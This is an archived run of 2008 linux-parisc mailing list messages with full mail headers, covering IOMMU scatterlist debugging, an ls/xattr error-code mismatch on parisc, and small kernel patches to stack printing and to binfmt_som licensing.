the scsi device would just need 1 io_tlb entry while it would request 2 (with
ccio_mem_ratio = 2) and even 4 (with a c110 with only 64Mb).
That's obviously  my own reading (without any coach ;-), sorry in advance if
that's more confusing.

> > 
> > Obviously just speculation ;<).
> > 
> > Even thought 3 things sure:
> >   - issue occurs for huge I/O
> >   - become worse with reduced iov_space_size (physical or logical)
> >   - backport sba help a bit but doesn't fix issue
> 
> Yeah, those suggest IO TLB flushing is failing or IO Pdir isn't coherent.
> There might be other things broken too.
> 
Yes
(with relayfs I tried to trace as much as I can but it have the default to not
capture all messages and so just give me a overview of the execution path.
Next step in my investigation: coalesce_chunks();
but I am still looking for sg_list detail, though what kind of sg sump I could
grab (after coalesce_chunks()):

this one is easy to understand:
[0]- page_link: 0x10692980 (275327360), offset:0x0, length: 4096,
iova(dma_address): 0xad0000, iova_length(dma_length): 40960.
[1]- page_link: 0x10692960 (275327328), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[2]- page_link: 0x10692940 (275327296), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[3]- page_link: 0x10692920 (275327264), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[4]- page_link: 0x10692900 (275327232), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[5]- page_link: 0x106928e0 (275327200), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[6]- page_link: 0x106928c0 (275327168), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[7]- page_link: 0x10692a80 (275327616), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[8]- page_link: 0x10692c40 (275328064), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[9]- page_link: 0x10692c22 (275328034), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.

i.e. 10 * 4k pages fused (coalesce?) in one dma data block of 40K using iova
0xad0000 (ok?)

but I don't yet understand following ones:
[0]- page_link: 0x10681b40 (275258176), offset:0x0, length: 4096,
iova(dma_address): 0x198000, iova_length(dma_length): 12288.
[1]- page_link: 0x10681b20 (275258144), offset:0x0, length: 4096,
iova(dma_address): 0x19bc00, iova_length(dma_length): 1024.
[2]- page_link: 0x10681b00 (275258112), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[3]- page_link: 0x10681a82 (275257986), offset:0xc00, length: 1024,
iova(dma_address): 0x8019bc00, iova_length(dma_length): 0.

why not fuse in only one block?

or this one:
[0]- page_link: 0x10692f00 (275328768), offset:0x0, length: 12288,
iova(dma_address): 0x1a30000, iova_length(dma_length): 49152.
[1]- page_link: 0x10693060 (275329120), offset:0x0, length: 4096,
iova(dma_address): 0x1a40000, iova_length(dma_length): 40960.
[2]- page_link: 0x106930a0 (275329184), offset:0x0, length: 8192,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[3]- page_link: 0x10693240 (275329600), offset:0x0, length: 24576,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[4]- page_link: 0x106935e0 (275330528), offset:0x0, length: 20480,
iova(dma_address): 0x81a40000, iova_length(dma_length): 0.
[5]- page_link: 0x106937a0 (275330976), offset:0x0, length: 4096,
iova(dma_address): 0x0, iova_length(dma_length): 0.
[6]- page_link: 0x106937e2 (275331042), offset:0x0, length: 16384,
iova(dma_address): 0x0, iova_length(dma_length): 0.

as the chainid_size is of 128*4k pages (=512k) why not coalescing all stuff in
one data block? 
Or it's not the place where scatterlist blocks are put together to form one
contiguous block for dma access?
(well my understanding of the beginning of sg list management was to put
together scattered blocks at contiguous _physical_ address for dma access. But
with those U2 we work now with _virtual_ address and index so am I a bit lost ;-)
 
But this next one are totally puzzling me:
[0]- page_link: 0x10667600 (275150336), length: 1024, iova(dma_address):
0x800ae000, iova_length(dma_length): 1024.
[1]- page_link: 0x1072e2e0 (275964640), length: 1024, iova(dma_address):
0x800afc00, iova_length(dma_length): 1024.
[2]- page_link: 0x10676180 (275210624), length: 1024, iova(dma_address):
0x800b0800, iova_length(dma_length): 1024.
[3]- page_link: 0x10541d00 (273947904), length: 1024, iova(dma_address):
0x800b1c00, iova_length(dma_length): 1024.
[4]- page_link: 0x1072dd00 (275963136), length: 1024, iova(dma_address):
0x800b2800, iova_length(dma_length): 1024.
[5]- page_link: 0x1072dd20 (275963168), length: 1024, iova(dma_address):
0x800b3800, iova_length(dma_length): 1024.
[6]- page_link: 0x107284c0 (275940544), length: 1024, iova(dma_address):
0x800b4c00, iova_length(dma_length): 1024.

(sorry, here I don't have offsets but I doubt it would help me to understand
why no gather occurs here?)


> > > > Anyway, difference between those last 2 samples (718 - 444) = 274
increase of
> > > > io_pdir entries.
> > >
> > > That's about right for a SCSI device since it can't have that much
> > > IO in flight for one or two disks.
> > >
> > [snip]
> > >
> > > Of course. The number of "used" entries in the IO Pdir has no direct
> > > correlation to the number of "in use" IO TLB entries. IO TLB is fixed
> > > size while the IO Pdir size can vary between boots.
> > >
> > > >
> > > > Well as scatterlist is still puzzling me, I can still be confused between
> > > > iommu and mmu pages mapping, sorry so in advance if it's yet another
annoying
> > > > comment.
> > >
> > > IOMMU is an MMU for IO devices. MMU is the same thing for CPU.
> > > Differences exist between those two. DMA is generally to larger
> > > chunks/regions of RAM (256-2K bytes) while CPUs need to enforce
> > > access rights (X/R/W) to memory and deal with cachelines or less.
> > >
> > (well I still have difficulties in the relationship between all those buffers
> > which are caches and tlb and over that I/O DMA with its own set of cache and
> > iotlb. Fortunately there are now good doc freely available and good engine to
> > look for it, but it's not yet so easy to me)
> 
> Agreed - it's not easy.
> 
Tx (when a master said 'it's not easy' that sincerely encourage me to continue
my learning)

Again thanks a lot for your kind attention,
    J.

> grant
> 
> > 
> > Tx again for advises,
> >     J.
> > 
> > > hth,
> > > grant
> > > --
> > 
> --


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 7 Aug 2008 17:08:04 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20080807210804.GB4259@phobos.i.cabal.ca>
References: <20080417075357.GB23641@phobos.i.cabal.ca> <20080804193957.783104E6A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218143297 15368 80.91.229.12 (7 Aug 2008 21:08:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Aug 2008 21:08:17 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 07 23:09:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KRCjJ-0000kL-IG
	for glpp-linux-parisc@gmane.org; Thu, 07 Aug 2008 23:09:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752741AbYHGVIH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Aug 2008 17:08:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751553AbYHGVIH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 Aug 2008 17:08:07 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:59622 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752741AbYHGVIG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Aug 2008 17:08:06 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 9A6CE17806A; Thu,  7 Aug 2008 17:08:04 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080804193957.783104E6A@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:599 gmane.linux.debian.ports.hppa:5430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/599>

On Mon, Aug 04, 2008 at 03:39:57PM -0400, John David Anglin wrote:
> > On Sun, Apr 06, 2008 at 07:09:59PM -0400, John David Anglin wrote:
> > > > If you strace it, what syscall returns -EOPNOTSUPP?
> > > 
> > > strace is broken and quits before the relevant syscall.  Think I
> > > mentioned this before is a different context.
> > > 
> > 
> > Fixed & updated strace available at
> > http://people.debian.org/~kyle/strace/
> 
> lgetxattr("strace_4.5.16-1_hppa.deb", "security.selinux"..., 0x2c768, 255) = -1 EOPNOTSUPP 
> (Operation not supported)
> 
> This is probably the correct return but the manpage for lgetxattr says
> it should return ENOTSUP.  Possibly, the problem occurs on hppa because
> ENOTSUP and EOPNOTSUPP are different codes.  In any case, the current
> version of ls only checks for ENOTSUP.
> 

Ah, it's wrong.

ls.c should be checking for -EOPNOTSUP, which is the only thing any of
the kernel codepaths return for failing xattr calls. You're correct in
diagnosing that this is only problematic on parisc, because we're the
only folks who use a different value for EOPNOTSUP and ENOTSUP.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 7 Aug 2008 17:14:31 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20080807211432.8B70C4E77@hiauly1.hia.nrc.ca>
References: <20080807210804.GB4259@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218143684 16929 80.91.229.12 (7 Aug 2008 21:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Aug 2008 21:14:44 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 07 23:15:35 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KRCpY-000326-JY
	for glpp-linux-parisc@gmane.org; Thu, 07 Aug 2008 23:15:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751096AbYHGVOe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Aug 2008 17:14:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751193AbYHGVOe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 Aug 2008 17:14:34 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2391 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751096AbYHGVOd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Aug 2008 17:14:33 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8B70C4E77; Thu,  7 Aug 2008 17:14:32 -0400 (EDT)
In-Reply-To: <20080807210804.GB4259@phobos.i.cabal.ca> from "Kyle McMartin" at Aug 7, 2008 05:08:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:600 gmane.linux.debian.ports.hppa:5431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/600>

> ls.c should be checking for -EOPNOTSUP, which is the only thing any of
> the kernel codepaths return for failing xattr calls. You're correct in
> diagnosing that this is only problematic on parisc, because we're the
> only folks who use a different value for EOPNOTSUP and ENOTSUP.

It is my understanding that Jim Meyering is addressing the ls issue.
HP-UX is also theoretically affected but the code paths are different.

The manpages are still wrong.  This probably led to the confusion in
the first place.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix unwind crash - was: Re: 2.6.26 kernel crash
Date: Fri, 8 Aug 2008 08:56:46 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <119aab440808080556m3d0a7484r83b78fa8b2d08ec0@mail.gmail.com>
References: <200807201846.11809.deller@gmx.de>
	 <200807201907.59762.deller@gmx.de> <488F7E32.4070204@gmx.de>
	 <1e3eba760808030726l93f60dftdcec0c487933129b@mail.gmail.com>
	 <20080806194125.GA3281@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218200218 16740 80.91.229.12 (8 Aug 2008 12:56:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Aug 2008 12:56:58 +0000 (UTC)
Cc: "Randolph Chung" <randolph@tausq.org>,
	"Helge Deller" <deller@gmx.de>, linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 08 14:57:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KRRXO-0006SW-I0
	for glpp-linux-parisc@gmane.org; Fri, 08 Aug 2008 14:57:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751284AbYHHM4s (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Aug 2008 08:56:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751591AbYHHM4s
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 Aug 2008 08:56:48 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.231]:46766 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751284AbYHHM4r (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Aug 2008 08:56:47 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so708766wri.5
        for <linux-parisc@vger.kernel.org>; Fri, 08 Aug 2008 05:56:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=hbAvngYVe19hRvBO3RCX2yhtWpDY/BK9BM4xDL35iqI=;
        b=vdHp/V2ObSb9jGP0MsumsI/xi4qdQjZ9w+pGbsrAmsBBuJELIND1hwlcItsLzwCxEd
         0wce2Hk01I5l1enXzR/XaLNyoAhNHHjEKGLn+Fd6sN15YejU6e81WLtULWwN2vqsFTdU
         3SrnXnLDXt7MMPaHjvU7r5Q8q68k6DHKSdGVg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=iz7jhhFe4Q7yb7FHafWhcX4LdZR2xynDhfa6aRlD9Ar3uSLDH+xKu3VqA4R9Rh6lxR
         uL/J/tMqardFWbnilXAgk3rhdGTLZncKEdHD7+V2JMt867kyYt+umMs2bMwTmION/22z
         ezc89TOXDH982QiWbzbIgfABM5619kZcsIu8E=
Original-Received: by 10.90.27.5 with SMTP id a5mr956661aga.85.1218200206276;
        Fri, 08 Aug 2008 05:56:46 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Fri, 8 Aug 2008 05:56:46 -0700 (PDT)
In-Reply-To: <20080806194125.GA3281@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 7e529ddddd9a785a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:601
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/601>

On Wed, Aug 6, 2008 at 3:41 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> -       parisc_show_stack(current, NULL, regs);
> +       if (!user)
> +               parisc_show_stack(current, NULL, regs);

or

if (level == KERN_CRIT)
  parisc_show_stack (current, NULL, regs);

I think this bit of code is the only thing that is required e.g. Only
call parisc_show_stack if it's not a usermode set of registers?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Sat, 9 Aug 2008 18:55:11 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20080810005511.GB2617@colo.lackof.org>
References: <20080806211155.GV1702@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218329732 28305 80.91.229.12 (10 Aug 2008 00:55:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Aug 2008 00:55:32 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>, bdale@hp.com
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 10 02:56:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KRzEL-0004iq-T2
	for glpp-linux-parisc@gmane.org; Sun, 10 Aug 2008 02:56:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752552AbYHJAzY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Aug 2008 20:55:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752544AbYHJAzX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 9 Aug 2008 20:55:23 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:38657 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752009AbYHJAzX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Aug 2008 20:55:23 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 65916300034;
	Sat,  9 Aug 2008 18:55:22 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01194-07; Sat, 9 Aug 2008 18:55:12 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id ED135300018; Sat,  9 Aug 2008 18:55:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080806211155.GV1702@cs181140183.pp.htv.fi>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:602 gmane.linux.kernel:719176
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/602>

+bdale@hp.com

On Thu, Aug 07, 2008 at 12:11:55AM +0300, Adrian Bunk wrote:
> This patch adds the missing MODULE_LICENSE("GPL").
> 
> Reported-by: Adrian Bunk <bunk@kernel.org>
> Signed-off-by: Adrian Bunk <bunk@kernel.org>
> 
> ---
> 
> This patch has been sent on:
> - 15 Jun 2008
> 
> 4cec562181f818f16f072b9a14ca7a0ce6c66417 diff --git a/fs/binfmt_som.c b/fs/binfmt_som.c
> index fdc36bf..6d3bebb 100644
> --- a/fs/binfmt_som.c
> +++ b/fs/binfmt_som.c
> @@ -308,3 +308,5 @@ static void __exit exit_som_binfmt(void)
>  
>  core_initcall(init_som_binfmt);
>  module_exit(exit_som_binfmt);
> +
> +MODULE_LICENSE("GPL");

Someone from HP needs to ACK this patch since I believe HP funded the code
changes made during the parisc-linux port. This should be a no-brainer
and I expect Bdale Garbee can quickly take care of this.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Sat, 9 Aug 2008 19:00:06 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20080810010005.GL8618@parisc-linux.org>
References: <20080806211155.GV1702@cs181140183.pp.htv.fi> <20080810005511.GB2617@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218330018 28910 80.91.229.12 (10 Aug 2008 01:00:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Aug 2008 01:00:18 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>, bdale@hp.com
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 10 03:01:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KRzIx-0006m4-Pj
	for glpp-linux-parisc@gmane.org; Sun, 10 Aug 2008 03:01:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752181AbYHJBAJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Aug 2008 21:00:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752673AbYHJBAI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 9 Aug 2008 21:00:08 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:59178 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752181AbYHJBAH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Aug 2008 21:00:07 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 9ABAB494007; Sat,  9 Aug 2008 19:00:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080810005511.GB2617@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:603 gmane.linux.kernel:719177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/603>

On Sat, Aug 09, 2008 at 06:55:11PM -0600, Grant Grundler wrote:
> Someone from HP needs to ACK this patch since I believe HP funded the code
> changes made during the parisc-linux port. This should be a no-brainer
> and I expect Bdale Garbee can quickly take care of this.

I actually did the work here, it was derived heavily from binfmt_elf
and binfmt_aout; had it not been GPL-licensed, it would not have been
distributable.  Also, I believe I did this work before joining Linuxcare,
so I don't believe HP has any claim to it at all.  You'd have to check
CVS history to be sure.  Oh, and even if HP does have a claim to it
through Linuxcare, HP's contract required all changes made by Linuxcare
to be contributed upstream.  So three different reasons why this code
being GPL is required.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Sun, 10 Aug 2008 10:41:54 -0300
Lines: 20
Approved: news@gmane.org
Message-ID: <1218375714.18157.56.camel@rover.gag.com>
References: <20080806211155.GV1702@cs181140183.pp.htv.fi>
	 <20080810005511.GB2617@colo.lackof.org>
	 <20080810010005.GL8618@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218377113 25156 80.91.229.12 (10 Aug 2008 14:05:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Aug 2008 14:05:13 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Adrian Bunk <bunk@kernel.org>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 10 16:06:03 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSBY2-00017R-Bv
	for glpp-linux-parisc@gmane.org; Sun, 10 Aug 2008 16:05:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752852AbYHJOEb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Aug 2008 10:04:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753237AbYHJOEb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 10 Aug 2008 10:04:31 -0400
Original-Received: from winfree.gag.com ([192.133.104.8]:39318 "EHLO winfree.gag.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752852AbYHJOEa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Aug 2008 10:04:30 -0400
X-Greylist: delayed 1350 seconds by postgrey-1.27 at vger.kernel.org; Sun, 10 Aug 2008 10:04:30 EDT
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by winfree.gag.com (Postfix) with ESMTP id DBC843043;
